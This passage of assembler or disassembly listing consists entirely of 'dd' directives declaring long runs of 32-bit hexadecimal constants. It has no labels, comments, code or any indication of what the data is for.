		dd 0C2377C93h, 207D725Fh, 8009D988h, 0C1577D90h, 0D72A2E8Ah
		dd 0EE889453h, 0FB455E07h, 48EC8A36h, 0DF5E89h,	0AB2EA2E6h
		dd 4F05126Dh, 0E1C31641h, 4D144379h, 8DA6BF84h,	5929407Bh
		dd 0F1965DECh, 198A0501h, 89289230h, 0C3D54118h, 0AFFAFABEh
		dd 0A65B467Bh, 702D2B00h, 986FE27Dh, 47513C13h,	1ED5072Ch
		dd 3C2A8BC3h, 18237F8Fh, 0C0953F6h, 24F33CBh, 825947Ch
		dd 4561099Ah, 669E84D3h, 72D32265h, 0A0A37921h,	6F1520A8h
		dd 7AECF751h, 7D619A91h, 0ACC4283Eh, 1F984A53h,	0D2B0E5C1h
		dd 50B564CFh, 167CB221h, 18197248h, 8929E43Ah, 551861DEh
		dd 0ABCC9772h, 746FC223h, 7DBD071Fh, 6850B10Eh,	0F2B55701h
		dd 4576417Ah, 462ECB62h, 0C4680489h, 8E09C560h,	87E9128Dh
		dd 0F6B9C040h, 5C12206Bh, 0C512A3F7h, 5EFA8C23h, 0C9ABC34Ah
		dd 826E2255h, 4B1AE9h
		dd 795037B8h, 9E335598h, 0C2BD5FF6h, 0CBF0E055h, 8947B359h
		dd 0C8FEF262h, 74CB719Fh, 319051Ah, 533620FAh, 3140887Dh
		dd 0F1811249h, 168E0EA1h, 153442DEh, 63602365h,	802E6B72h
		dd 0C1492DDh, 60C78462h, 59DBC8AEh, 84B497Ah, 2EF76E13h
		dd 0A43C6B12h, 0C16A906h, 0BEFD7E13h, 1CAD0841h, 0F9AA07Ah
		dd 74E936B5h, 3AFF9D5Ch, 3A8538E6h, 68989F91h, 799520BBh
		dd 81DE28Ah, 0CFEA397Ch, 0EB6B8202h, 0DD544948h, 118F37Bh
		dd 58C23059h, 15C3D32Ch, 0B22B9620h, 81C94F76h,	0D9F18094h
		dd 409F2053h, 0ED7A4641h, 1FE01070h, 5AD6310Ah,	2D0B27FCh
		dd 89C16D7Fh, 0ECCE4EA5h, 36E4801Ch, 0C026ECC5h, 0CC52841Eh
		dd 0F938810Dh, 1127EE01h, 2A385CF9h, 90B5347Eh,	89D0EF1Ch
		dd 5A626856h, 0CC1F8C37h, 295A35F4h, 0DA53F923h, 5D3AE1E7h
		dd 47206606h, 0CB7FC8Fh, 0DFF7803Ah, 7890DC06h,	5D27219Ch
		dd 5FB96834h, 30826881h, 6F2047DEh, 5D9B0CE1h, 0F20C6D13h
		dd 543C3B09h, 0A30F5A49h, 0CD57E547h, 2F619294h, 35744DE9h
		dd 719D2D68h, 0D3880AD3h, 8B66144Ch, 5C97D10h, 0FE43EB80h
		dd 6F1CCEC1h, 0E8140D01h, 0F7274175h, 2ECC8ED8h, 731F260Bh
		dd 172D0514h, 0E9357A6Dh, 648710CBh, 399AA4Fh, 0F46FF0FEh
		dd 122C2D1Bh, 3F21C341h, 29DA6ED0h, 4F432DF5h, 89BC1BF4h
		dd 8E18A742h, 0B3E917h,	5FFB8984h, 4D36BF7h, 860CBE02h
		dd 17C5B900h, 2A677A64h, 2180D045h, 51AD1672h, 286D620Fh
		dd 366C9268h, 0D540A124h, 8BD89002h, 17AF71Dh, 7F081E85h
		dd 1CC5279Fh, 0B3294A7h, 2D9F685Ch, 2A6764FEh, 35C2D88h
		dd 402BDA48h, 5E2F5C26h, 0EAAFBCECh, 4A330822h,	8869DC0Bh
		dd 5D2D05B9h, 0FCA8B124h, 71374AFBh, 5E52E636h,	4BF3E83Eh
		dd 56C2A5A1h, 0C7FF25A1h, 8DE905F1h, 0F6264F4Fh, 9421EB36h
		dd 83547353h, 0ABD14E04h, 3BD939BAh, 6D0CF744h,	8D0223EEh
		dd 248330C9h, 0C80B68AAh, 0F0779B13h, 2D75ECE4h, 0F748406Bh
		dd 472C16FDh, 2E10A63Fh, 0C4CE3C50h, 0F8D2F665h, 0E6247A67h
		dd 0BD8B0480h, 663B566Dh, 84096856h, 4803EB2Ah,	0D2604F57h
		dd 0B512AF97h, 0EC1057EBh, 1D9A9DDAh, 946D152h,	385E6908h
		dd 0F7685742h, 9E02BE10h, 420E7C9Fh, 655F4781h,	208588E0h
		dd 0B831FC26h, 412B0A39h, 0F48B1B38h, 0BBA47B95h, 0C483D73Dh
		dd 8B2FADF5h, 5B3E205Eh, 1B635h, 122D7C31h, 8969739Fh
		dd 0D70F68BFh, 0AE276078h, 4A0918BFh, 599CA4Ch,	478A7CB7h
		dd 994D4FFh, 295D5F08h,	0C377F18h, 50FFFE2Dh, 0AACEB1C1h
		dd 776ADA01h, 2F95ABD0h, 3EBE64BBh, 5086B900h, 88B876C2h
		dd 2D6D25Ch, 0D5E94E69h, 97A374D6h, 5CF842CEh, 0C3F0942Ch
		dd 0E325272Ch, 202A41C2h, 7ACF81D7h, 5DE36418h,	2566F00Ch
		dd 60755325h, 5EE90227h, 0A329C4F4h, 25984825h,	1FE1191Ch
		dd 3107042Fh, 16D5A3C8h, 0E9A95968h, 0ABF22B1Ah, 0EAE499D0h
		dd 0F008D0h, 111D59C6h,	0BD1A20E9h, 0D925C773h,	0BD55426Ah
		dd 0DC924012h, 4FC41D3Fh, 928B429h, 8E5B5D08h, 2D757D08h
		dd 0D5240C74h, 0E8285A04h, 0D0AB1B87h, 20F69F18h, 48F9D772h
		dd 44B77E42h, 0B63025BDh, 0C5D6D32Fh, 2CB7EF62h, 0D436E985h
		dd 9DC9FEA0h, 8E313B43h, 9CE928FFh, 0BEA724Ch, 5B0A3E73h
		dd 5A10BFF4h, 313BBF02h, 20E03A4Dh, 1B2547ECh, 82C3DA4Fh
		dd 4DCEF708h, 0DE03A00h, 0E9D101F6h, 6E6B41F7h,	2F121006h
		dd 20C57E0Fh, 0B0C4EE14h, 570B1C66h, 0CEC94554h, 80DDA812h
		dd 0D86C73C6h, 88A30640h, 42CDF04Bh, 635475C2h,	0D4D9D242h
		dd 80BF9628h, 0B0D6853h, 1A8559C6h, 0F05A977Fh,	1005F4Eh
		dd 0BBBE057Bh, 47A6062Dh, 0CA290DD0h, 2209315Ah, 14205D42h
		dd 8D583476h, 2AC978B5h, 33CF15E4h, 851EAAF1h, 887006DFh
		dd 1F132D05h, 10EA2430h, 54C07DEh, 0C55FAE4Dh, 0C38FAF03h
		dd 23D0AB4Fh, 17AEB951h, 1364A2Fh, 0A17206Ah, 6697104h
		dd 550980C0h, 0F47A77E0h, 0DF42892h, 71323C70h,	4B63203Eh
		dd 24807D5Ch, 0B074D08h, 0C1C4D16h, 0EF200B98h,	0F38F31ABh
		dd 33F8F6E0h, 0F1F20AD6h, 4ABEC9Dh, 0A44ADDBAh,	0BAD0FF47h
		dd 33251BE9h, 25E35F9h,	7A2F70C1h, 398894DCh, 0FEBA52C7h
		dd 0E85AF592h, 289C9FABh, 0B494FD25h, 3EB85002h, 0E0609D27h
		dd 0D2420595h, 0C804FE0Fh, 5D01B9A5h, 7E342A68h, 38808D34h
		dd 48FE2BA6h, 0CF12B160h, 13D2E642h, 88AED348h,	955E10D6h
		dd 0D0D383E8h, 0B1515028h, 4AE9D73Ch, 52598D0Ch, 0BE1D40AFh
		dd 2DBDB5B4h, 52768732h, 1696DF49h, 0D2484222h,	7221AE64h
		dd 5210AAE2h, 711F2068h, 253F4FB2h, 209DC62Fh, 0F09C6D8Ch
		dd 785B273Ch, 502099EEh, 0A704568h, 0DA967795h,	420899Dh
		dd 1712DF49h, 4552AB91h, 0D9C3E0BEh, 904AABE8h,	6692FDE8h
		dd 843B32D5h, 0A47ABC38h, 0D725C7E8h, 56B565E6h, 0EF05C4ABh
		dd 12A75113h, 68A52CD6h, 25B523A8h, 8A165595h, 0EB21BE54h
		dd 0ED283F02h, 42F30114h, 5E0802F9h, 0FB7AFD55h, 4F3024B0h
		dd 0AAEE5363h, 0EA444B73h, 13C672D0h, 19EF300Eh, 5FA1B61Eh
		dd 0F0013717h, 5801C13h, 5005B9h, 0C9812653h, 6A077875h
		dd 405AFEFDh, 0A1AF70BDh, 9DC241Ch, 25B6B0CAh, 95695A55h
		dd 92F37EF6h, 8D58816h,	0D02F3EA5h, 91682713h, 552028D2h
		dd 0D32D0666h, 200B8509h, 9C34F24Bh, 435F0880h,	10655A9Bh
		dd 0B44F8362h, 0AC2FE947h, 0DF0C4AD4h, 0A8EAC34Ah, 2C3B9890h
		dd 0FFFA83CEh, 752709DCh, 273F3745h, 802360FCh,	0F6E200C4h
		dd 2BB353D4h, 378EBC0h,	0C34CDB7Dh, 81822755h, 45F16813h
		dd 9DC5EB28h, 3BED3D5Dh, 57688070h, 6096BE55h, 797A63BAh
		dd 0C3564297h, 0E2942048h, 8EB8584Ah, 0F36C80B4h, 3514571Dh
		dd 3884D2F7h, 7E7119AEh, 0BB25408Ch, 165CA26Ah,	0B2A23A98h
		dd 125BFC92h, 0A4214F23h, 7BE132E6h, 18B5FC2Eh,	8A381428h
		dd 97244C6Ch, 10B7910h,	2052D0BFh, 0B06B551Fh, 8F2C03C8h
		dd 0DF175809h, 85A64EC1h, 0EE9C5524h, 0E1761D9h, 3855F929h
		dd 64B5B097h, 0B0737802h, 0B4992DC6h, 0F73DDBE6h, 0EBAADE1h
		dd 0CB0696BCh, 0B7E0F9Ch, 4C9171EFh, 0EFA72284h, 0A34E46B3h
		dd 0FE983A3h, 0BD2A1388h, 0F12CEF02h, 842714B4h, 0E41FAF18h
		dd 4032CB2Ch, 71833474h, 0C822905Dh, 3D13BD0Dh,	1CA50C3Ch
		dd 210E195Eh, 56A4A9C6h, 2662826Ah, 0BD927E3Bh,	74B7DE82h
		dd 6801BCF1h, 606377D8h, 4E8FAB70h, 2F72F536h, 8E8255D9h
		dd 67112A6h, 4E2B9440h,	0D13D6212h, 8D045BACh, 0EEE7BFEBh
		dd 6F021EF9h, 416C7127h, 587EC7C0h, 7943B127h, 7C1B6096h
		dd 14EFE75h, 299E28EBh,	2B8CF58h, 0C01FF7EFh, 0A04CF421h
		dd 8B0CC108h, 403EA67Ch, 99FAE975h, 6812E4A6h, 90343C1Dh
		dd 327E8504h, 57019F8Fh, 281D4FBFh, 5136F44h, 25F4A408h
		dd 5BE4687Dh, 0BEF35B81h, 5201B71Eh, 599AE956h,	0C183D13Bh
		dd 925F20EAh, 0C289BAAAh, 392BBBA0h, 0BB9423DEh, 0BB70720h
		dd 0CB595C47h, 0E95A605Fh, 0C6F9590Dh, 0DBE6EA20h, 169DBD80h
		dd 0E137310Ch, 0FDC7CD7Bh, 83D5897Fh, 47B323C0h, 0C8038B4Eh
		dd 59E901EDh, 5D2ED549h, 58F7B91Ch, 4E10B5E5h, 83813EA6h
		dd 496222BEh, 61BB0457h, 0BF698B77h, 1A07C810h,	0F68F26E9h
		dd 79C98887h, 0DD2F3C9Eh, 0D5AF0315h, 0A09688BAh, 40B04A54h
		dd 0D3112D05h, 81AA3BB0h
		dd 2A267CEAh, 89C409B8h, 4BEDAEF3h, 0CAFBE9B1h,	5191915Ch
		dd 9111424h, 83577AB5h,	983DED17h, 0F1E9E6CDh, 0F9C3887Bh
		dd 8A7B8872h, 0F0096FEFh, 935C5C05h, 6817F42Dh,	0BB6BAA2Ch
		dd 0ACC07DC9h, 3B3A4F2Dh, 2890D822h, 149F0705h,	685302CBh
		dd 7FB74656h, 26C1D95Dh, 0AF48174Bh, 95F93139h,	0A04B5003h
		dd 0A7650FE1h, 85B1D768h, 0CBE63B4Eh, 0A66E9C2h, 7A60F50Bh
		dd 0D5954CBDh, 1F1C2898h, 2A0B3D9Ah, 0C169DD7Ah, 0BB0133B2h
		dd 0DD8E4C7h, 0EFF8897Eh, 0DCAA8A4Bh, 8540D8B1h, 1A612568h
		dd 449D51E6h, 0F3BF02C4h, 9113C63h, 2C09B6FCh, 2796D9D2h
		dd 13F69455h, 0ED3F37E9h, 7F730C1Fh, 41A53ADEh,	0CE0C8B47h
		dd 805B7126h, 188042D7h, 3EE75368h, 74E7F730h, 0E936093Ch
		dd 3A5D4DD3h, 20D064B4h, 5F979CCEh, 4C104382h, 232B90A2h
		dd 52620056h, 77407D19h, 34D4AC72h, 18444F2Dh, 20D48133h
		dd 0AE5AB2EDh, 869A6E1Fh, 2FFF79D7h, 0E90D08E5h, 0AD3F8B3Dh
		dd 4BBCD04Ch, 0EFA4E6E9h, 7E85DEE2h, 727EE4A7h,	0AC92C17h
		dd 802B9F5h, 0E976605Bh, 4B154FAFh, 94D7595Bh, 0D0EC9471h
		dd 0DAB64BF5h, 8A137F82h, 2F484045h, 6C792F06h,	0D760CAD2h
		dd 7B0C8616h, 0F921146Bh, 0F326F15Fh, 89C602ABh, 806059CBh
		dd 0C53F03D2h, 93ED8372h, 0B17C9426h, 1CC1BEE5h, 405376C2h
		dd 8A4F84B0h, 58376197h, 0AF84133Ah, 17947BE3h,	35634D81h
		dd 55C07B48h, 0BD096403h, 77C1B8C2h, 5ECD6B6Ah,	4F686FC0h
		dd 7975FC3Ch, 0A8B6655Fh, 915D8C0Ch, 5A5AD512h,	0AD3C04EBh
		dd 7940BAD0h, 1B6DE381h, 447E58F6h, 2706300Bh, 0B614355h
		dd 3741CFE4h, 0A1CDBA00h, 6460FA3Bh, 60021DDEh,	44599D29h
		dd 8088053Dh, 13EEBB79h, 0C650B286h, 14C3A99Dh,	0A9485AD0h
		dd 0F0257203h, 360E096Ch, 4276CA2Dh, 0D6C1E979h, 14613F7h
		dd 0C8097CFAh, 5ECBF00Ah, 0E578C3D8h, 78681306h, 5CF5BE34h
		dd 20615F31h, 4B7045E4h, 4CB4E401h, 0FCF73144h,	9C87B58Ch
		dd 0FEF8B55Bh, 0BF2B5A2Dh, 5DE99630h, 18F99732h, 650CAB49h
		dd 0A3FEC9ABh, 2F58469h, 9A5AB1E8h, 0FDB51195h,	0A8C66C27h
		dd 1A9F44F0h, 6916F4B8h, 270E9E5Fh, 3DD4B2E9h, 6FF0F1A0h
		dd 14F7355Eh, 0B432BF4Ah, 68A248B4h, 8C744AF3h,	67E4FC40h
		dd 43E9380Bh, 0BC455123h, 88F415A6h, 0BC09885Ah, 0CE415A20h
		dd 0C944923Eh, 711EFF6Bh, 600A2C95h, 0C5194D0Fh, 601BE13h
		dd 0C64E24Ah, 0E756A51Fh, 80388EAh, 3BEB54DFh, 8C114129h
		dd 7D5D0C08h, 0B0749D01h, 8741436Dh, 6602380Dh,	8ABA7740h
		dd 0B89289EAh, 7A4B684Eh, 0DA8F93C7h, 1217646h,	0EC763F2Dh
		dd 2E012A7Dh, 2B9F2861h, 8943F63Fh, 0A1D5C368h,	15962B05h
		dd 980A53F8h, 575F0123h, 680BCACBh, 30992D16h, 14B92E54h
		dd 4982C07h, 51C843CEh,	8136EDE1h, 3C1BF18h, 0C570163Ah
		dd 0D12A0224h, 5FFA315Ch, 0C5E998F4h, 0AE2196A5h, 0B3B4D60h
		dd 813A01C4h, 0A17490EAh, 6FB52F63h, 0FEFA0806h, 0E8161785h
		dd 0C0F200FAh, 4014B62Bh, 646261E3h, 0D12A68C0h, 9925852Ah
		dd 0B56B5D41h, 195B0FC0h, 9D77D0BFh, 44B057C6h,	0E43FBA60h
		dd 0B020EE4Fh, 31A24028h, 2CEFF14Fh, 4E00C12Eh,	89D6AE83h
		dd 9D78E9CDh, 857E6709h, 0FE5A600Bh, 0CDE743BBh, 0DC250E7Ch
		dd 0DE6CDF10h, 0D600A75Eh, 1D606851h, 59760096h, 8BB5349h
		dd 92C51879h, 0CDAF9702h, 29FE3AA5h, 0A8D96A07h, 72B1DD6Ah
		dd 0D2EECE5Dh, 0F7C038ECh, 6F9C68E1h, 57A50B91h, 0BB078663h
		dd 5B660C2Ch, 0F398D004h, 80560EB2h, 0EA66FFC2h, 30EF0C88h
		dd 7A96F211h, 3075D84Bh, 0B9F35A17h, 1A2C70A0h,	1C02DD62h
		dd 0C027720Eh, 2F2B67EEh, 0D5F613C1h, 594B08A0h, 0C3004DEDh
		dd 14A6F52h, 5F4E1BE9h,	0A22B529Dh, 0CFE9B124h,	0C01F583Ch
		dd 0F28087E2h, 904DB4D2h, 450205A4h, 2D2C8B3Dh,	815054B9h
		dd 5E1529F5h, 78EE2136h, 7353CF92h, 0D6099D62h,	0E0FDCBE7h
		dd 81323C87h, 5ACB4B5Ch, 4410CFE6h, 0F8680BDEh,	70F89A7Bh
		dd 4A580E52h, 6E69B90Ah, 821D897Dh, 5323682Bh, 2A8502EFh
		dd 8175278Fh, 764F68CDh, 53C92C2Ch, 751A0680h, 35EF5B5Fh
		dd 7AF07FABh, 0C57A4EE9h, 29048041h, 6F4BB50Bh,	0E5DF66D1h
		dd 3469377Bh, 40622851h, 50975E88h, 60DD0AFAh, 0CB8E4DF5h
		dd 35CA0CA2h, 9B685600h, 6D2D1231h, 701EC5Eh, 7850412Ah
		dd 109EE61h, 8C3C2931h,	0FCC22917h, 0C8D69DCEh,	70B290AFh
		dd 658FC54h, 0E3164E7Fh, 4F9D3ABAh, 41BCF688h, 9B106A25h
		dd 4C7C0185h, 0D1090119h, 9A036DE8h, 5AD32C7Eh,	4A1813C7h
		dd 40B45CAFh, 756DC0B9h, 0ABA0302h, 0FD35D42Eh,	4AE280C8h
		dd 16784602h, 0FD0EF3E9h, 9ED36E1Eh, 5854E6BBh,	9D452063h
		dd 0A60AC9F9h, 0A1A7BA0Eh, 0F9F76697h, 0A6938E30h, 0EFC9F0D9h
		dd 0A2F382Dh, 9AF05h, 0FA1D05ABh, 0C29D9257h, 25B0F0CBh
		dd 0D356D0E8h, 37074873h, 0BD45882Dh, 975BE98Ch, 3E65A05Ch
		dd 0DFA85D7Dh, 0DA591D00h, 45EDD146h, 124EC1B8h, 5950E68Eh
		dd 28B8B09Ah, 14C75B21h, 0C69634F8h, 662E85Fh, 2AD70BC7h
		dd 0DD835EB0h, 227531ACh, 1AC658D2h, 0D51819D5h, 0E4C0D881h
		dd 7ECCC02h, 10738076h,	0F835F42Fh, 28B43E4Ch, 0EE9AC4DBh
		dd 0B9CFA9BDh, 0C3AEE3EEh, 0CE958A1h, 7432A0Fh,	8D01086Bh
		dd 735E02EEh, 8CDD1939h, 81A125Dh, 913146Ch, 30025028h
		dd 1A8595Ch, 9CC3E5CAh,	0B5D025E9h, 0CEAB504Ah,	90EE4BC7h
		dd 121BBFF9h, 0C14DD004h, 76BC05EFh, 2ED782B1h,	92B327ABh
		dd 3CC6492Eh, 410DC4C1h, 0F9DB6223h, 0AD56AA16h, 21DC0940h
		dd 9BF82A68h, 12400782h, 68C022E0h, 0C0FEA42Ch,	34C83E24h
		dd 80EA0833h, 4D525AAh,	0CDEE308Fh, 3DAF2BC6h, 2B233058h
		dd 7CD85E81h, 0B9B09D1Eh, 28800D27h, 5037B0D0h,	0CBDBDDF0h
		dd 167D2938h, 30BA5F0Eh, 6B5968DAh, 0B358A7A6h,	6C6410C3h
		dd 65174B3Bh, 2F6CEA42h, 68D00A88h, 0BD2B2392h,	0C10C62Eh
		dd 0E185479Eh, 3241E50Eh, 0D6897769h, 2F442FA6h, 48BDD03h
		dd 806860C4h, 0EF2BE108h, 16761C2Dh, 4655680Ah,	0BF549356h
		dd 82942BE2h, 2A51452Dh, 5946518Bh, 9CFBD69h, 0D05588AFh
		dd 0BE1AD6AEh, 8A02B03Ch, 120063FDh, 0BDDF0138h, 8BD39ACBh
		dd 0DE23C2C6h, 0DDDA5AB0h, 0F1C55E4Fh, 5A5D1702h, 27A9F820h
		dd 0DEE66C08h, 0C30B1F29h, 133EF3ADh, 87B7AF53h, 0C920AE93h
		dd 0B5593568h, 3BDE1319h, 0F0E81616h, 8901F425h, 0CE5BDC30h
		dd 0F6D9C7C3h, 0CD462FD3h, 950C1E73h, 57D8E871h, 88680B55h
		dd 0E702E317h, 0E36B151Ch, 7FBA1EB1h, 0EF889A71h, 0F6D0072Bh
		dd 5AF773D6h, 0B8E9FDD0h, 8CFAE84Ah, 964AE26Ch,	0C1C40EFh
		dd 89348A06h, 0AA515FB0h, 17EF2A5Ch, 4757BB27h,	0D465AFF2h
		dd 6048A1AFh, 0C5B4733h, 0AB8E05FDh, 950A2BA7h,	25C782C8h
		dd 77646F5h, 0F34AC451h, 83EE255h, 2CFFC090h, 2D7AE100h
		dd 3A6D128Bh, 60C5A221h, 0D289FDA2h, 9EC6BA45h,	45970BBCh
		dd 9B0029F8h, 15E0659Dh, 7D415097h, 0B001EE90h,	0D52B4F6Bh
		dd 0EEA1AAAAh, 0C2C05EDh, 0E5D5824Fh, 44CF9F8h,	2CD81D20h
		dd 68760439h, 2B8C6DB9h, 805E0EB7h, 0EF6232F7h,	0E07D287Fh
		dd 82CA7121h, 72E433C0h, 0AD220E24h, 3A2F1105h,	96F77DC1h
		dd 4D868E6Bh, 308C98E8h, 2519D0Dh, 0E02CC5CFh, 0BF083EC8h
		dd 0A0575E8Bh, 0C70A7F64h
		dd 24F8ED77h, 45500BD0h, 1816CF89h, 9F0846BEh, 0BB5300E3h
		dd 24BD5D72h, 2C2970BDh, 0E3CEC7E7h, 6FE9075Eh,	56017F49h
		dd 0F1113D35h, 164890DBh, 0C82A5059h, 0C0F120Ah, 710BBB0Dh
		dd 0CE571C21h, 0BFF7F1E4h, 2668E038h, 0E1524DFDh, 5558BE9h
		dd 0FF3BFAE5h, 44EE4443h, 0E60A0F2Ah, 52A908A1h, 3BE8AD8Eh
		dd 5EABC296h, 2D2DEE5Bh, 6B63DD1h, 97627D60h, 688420F1h
		dd 5BD177F0h, 80001590h, 0F3E660CBh, 56252F7Bh,	8946711Bh
		dd 6AB85453h, 46677AE9h, 0F4EA053Ah, 9C0A2217h,	5B0B072Dh
		dd 87167D5Fh, 49420220h, 0BB80F157h, 4E113E48h,	0D5409FB8h
		dd 686C58B7h, 2C487324h, 5A7F09CAh, 3C79581Ah, 95843CA5h
		dd 0C4895F79h, 400028F4h, 70BD0949h, 5DC9D99h, 951644F0h
		dd 0F675AEBAh, 0E92F5EA1h, 310983E1h, 0C51AB9CDh, 6127416Eh
		dd 2FE22AEDh, 0A24D5204h, 1EB7290Fh, 92D56542h,	0E80F55C2h
		dd 66B5A1CCh, 1B4BE1Dh,	3E2A432Fh, 46240709h, 834E4428h
		dd 0DFA2F625h, 5E23E1D5h, 0FCCF31F8h, 0A50AD259h, 0E7126F9Dh
		dd 66B0C7E9h, 774BD668h, 9872A1D7h, 0E1CE9B5Bh,	1F30A8BBh
		dd 0AE1B4A4Eh, 42D5B9Ch, 54B068EEh, 0FCB1AB05h,	0F8D1053Ah
		dd 0F70FCC7Ch, 87EECFA8h, 0F3D95D81h, 0AB4FC62Ch, 602709CCh
		dd 9ABF1679h, 5B2FD12Fh, 6E4A2031h, 1C2E9073h, 2508DBE9h
		dd 259CCDFFh, 78686955h, 0B15101DAh, 0E64AE1F8h, 0E202545Dh
		dd 965D092Fh, 14F398D5h, 830E1C63h, 925DD10h, 805EF231h
		dd 0A578C1E2h, 45A971Bh, 559CE07h, 6C1021C4h, 0A12DF029h
		dd 0DB645E07h, 99E98033h, 4B1B52B5h, 0F598EA2Ch, 0AFB85D32h
		dd 0BE39B385h, 4F7EDACEh, 3DCB17B1h, 0C8202FACh, 9734AD68h
		dd 36C06498h, 61270F20h, 81060605h, 0B64885F7h,	9A040179h
		dd 833758D9h, 100007CEh, 0E216850h, 5829F6h, 15628E25h
		dd 0DD7C0523h, 0E0BE6B25h, 91DB680Bh, 0E7A4CBh,	5A72E59h
		dd 0B90ECB81h, 0C0428F74h, 0AF7EF5EBh, 52DCB547h, 1716DA48h
		dd 562432AEh, 0CA233375h, 8B94533Eh, 289CF01h, 56B7A9F0h
		dd 4CC7F097h, 5DE47EB1h, 264AC1EFh, 0EF83006Eh,	5B719002h
		dd 16EEA3C2h, 57BC9168h, 79CEA9A1h, 8B51CF33h, 0B862A057h
		dd 259D135Dh, 905D5008h, 10D583Ch, 770E2F41h, 2E08E0C1h
		dd 9C5A4200h, 4AF74531h, 65BDD5h, 5B6A40F5h, 0E8291Eh
		dd 6D1C055Dh, 0C701A3CDh, 0CCB2DEB7h, 9B26E98Bh, 709CD0EFh
		dd 0A556F91Eh, 916DF7A1h, 4C9E2810h, 18D5039Bh,	0AC2117E8h
		dd 65DD96E2h, 92578B0Bh, 0E6C4559Eh, 0F506B720h, 0B75B2E60h
		dd 3FAB6982h, 0F7AD9AFDh, 50E9B74Bh, 0C7932837h, 3EF56BCFh
		dd 8DEF21FFh, 38AF2B92h, 5A401288h, 14669558h, 59148F8h
		dd 0C4FFEA16h, 0A2ED4651h, 7FB68B23h, 2809DD08h, 386503FEh
		dd 0DA050C30h, 0E9EA9EC3h, 544BFB63h, 944BE2B8h, 15BFC55h
		dd 45484308h, 0A86ABF57h, 0DBA25442h, 72F9474Ah, 0BCBFFDEh
		dd 0A69C5D15h, 4ED0A120h, 58AEF59h, 0AAE88196h,	0CD6800BCh
		dd 0F449726Dh, 5C02BF3Fh, 345B14F6h, 5737163Fh,	1DA64AECh
		dd 7D105025h, 6815C1CEh, 11AB7A8Ah, 0ED2F884Ch,	0D1A50AD6h
		dd 527C3A8h, 0AFA8BA84h, 5CF2FFB4h, 0FC40E984h,	595A0E16h
		dd 26BCD389h, 5FF821B0h, 0CAF323B7h, 0AEFD18ADh, 7095A36Ch
		dd 414F15C4h, 407821F3h, 0DB09B8B7h, 0F50F480Dh, 0ABF9F606h
		dd 0D2B25203h, 8564C380h, 5B04C7BFh, 0AFE35E85h, 0D8051F4Bh
		dd 67F1B532h, 13A451CBh, 0EF5884CFh, 77C28234h,	0BF3B6726h
		dd 0F8D13812h, 14C8C00Ch, 0B0591756h, 58078086h, 263E98D1h
		dd 6AEC62A8h, 7EDC03D9h, 0E7F911FCh, 52B22AEAh,	0A570B5D6h
		dd 10490008h, 958807B9h, 0DAE95381h, 0DE22A04h,	0D4182A07h
		dd 0ECC8C47Ch, 0F577700Fh, 6901675Eh, 1244CFEh,	7FEC146Eh
		dd 0F92FC455h, 1D970011h, 0B2684C71h, 0BE9C45Ch, 0C4D9B4BEh
		dd 69ECA14Eh, 0F180C0C0h, 0C8258866h, 86658059h, 0C2DAF6D0h
		dd 10C2E908h, 6C612D5Eh, 0E9CB5A77h, 7B585203h,	189B04B8h
		dd 0EB2D0139h, 75D6C9E1h, 19B4D3F0h, 0DE5C2109h, 0B92AE22Eh
		dd 7E3BBE00h, 31791F9Fh, 0F8870CF0h, 0D2A85318h, 95752BBDh
		dd 6355828h, 0D99FC09Fh, 38231204h, 0CCB4BA46h,	0DDBC74h
		dd 2E66882Dh, 0FC090D01h, 646754Ch, 4AC1060Eh, 0F0EAFEDh
		dd 4125B05Ah, 677C31FDh, 898E8454h, 0DC9DCE22h,	0A7224E9h
		dd 42BB78E5h, 58093514h, 0E18DBE94h, 328307E9h,	7CCC0688h
		dd 50C2187Eh, 0ECEA4Eh,	504F665Fh, 29C6BAB8h, 49E9BB0Bh
		dd 0CE9C5DA5h, 5C6C4F27h, 42854A67h, 540420ECh,	140437BCh
		dd 74FE563h, 10343B78h,	8F4C5EBh, 5B131C8Dh, 0BA586D58h
		dd 0F2321E89h, 4D6B8934h, 69C6F957h, 8943297Eh,	66680EE2h
		dd 8160F750h, 0F32ADE5h, 925D1E90h, 805B0028h, 146837C9h
		dd 0A64AB145h, 273A08E1h, 1B931A24h, 0EE5B03F8h, 7C807469h
		dd 0E01E8668h, 0E92F5E37h, 0DF0562BCh, 8808FCF9h, 319622Eh
		dd 2A90BD00h, 0D0775AFDh, 6855C197h, 6770450Ah,	56E07607h
		dd 0B63D42E9h, 55A3881Ah, 7A084724h, 0CCBA0196h, 2021DB49h
		dd 30464FFh, 5952477Bh,	0A93BC704h, 50B4D355h, 0CC465AB6h
		dd 154BF898h, 8F460A8h,	10B57D3h, 57097FD9h, 5E60908Fh
		dd 0E9814789h, 0FA2CBA0Bh, 0D167A07h, 0F9294DAAh, 1C08061Ch
		dd 3B5F1481h, 0BA48C32Ch, 8359162Ah, 43FF8EEh, 79C54E2Bh
		dd 10BE8AC0h, 0DBD4BFDEh, 0E172EA00h, 90318E2Fh, 0D52961C8h
		dd 4708E2C1h, 6851E389h, 2791E28Fh, 0CD789BF2h,	0F417B327h
		dd 39464732h, 68B11855h, 97417089h, 0E9DA38FFh,	0C14E4DD4h
		dd 1A2BC5Ah, 25C0713h, 0DC2EE831h, 0C4A0343h, 0F1E79DAEh
		dd 46D07A30h, 244841F6h, 0EC77160h, 77E58CCEh, 0BAF6FE7Ah
		dd 88A13405h, 0DF13AB84h, 1A7904FBh, 96861861h,	25892407h
		dd 501100B8h, 2E05FED7h, 73913002h, 892DE801h, 87200207h
		dd 71B9039Fh, 817DD7EAh, 8281E93h, 1AF940CAh, 7801250Bh
		dd 1987C403h, 2EA7AF85h, 8526BD4Fh, 47ABB8C2h, 3A951Dh
		dd 797CBD03h, 296D5E09h, 0EF070AFDh, 36B15987h,	0D7756382h
		dd 0D2A1609Ch, 5F156DB7h, 4C8D3E06h, 55C604F5h,	0C0090E24h
		dd 0A501DE63h, 0A0F91673h, 6B90081Ch, 0D8021484h, 2904A62Eh
		dd 7B5CC6h, 0C1237E3Fh,	0E09705EBh, 601BCF81h, 0E9CA9047h
		dd 44B1A6A9h, 61545642h, 2B34AC00h, 32672FB9h, 164A3470h
		dd 4F83EBA0h, 960EF204h, 0BDE4BEA9h, 0E998560h,	16CB70D0h
		dd 2D660064h, 0F177B6E1h, 4BB8C389h, 0EF01BC40h, 4E0E1230h
		dd 7A70FBADh, 95481C68h, 0D0B9C298h, 0C9D3F18h,	7C6859E4h
		dd 654A9C2Ah, 16B1ABFEh, 93D2B32Eh, 0EB7161AFh,	2FFC48DAh
		dd 6A093512h, 720DD9AEh, 6668C215h, 533CA535h, 0DE936784h
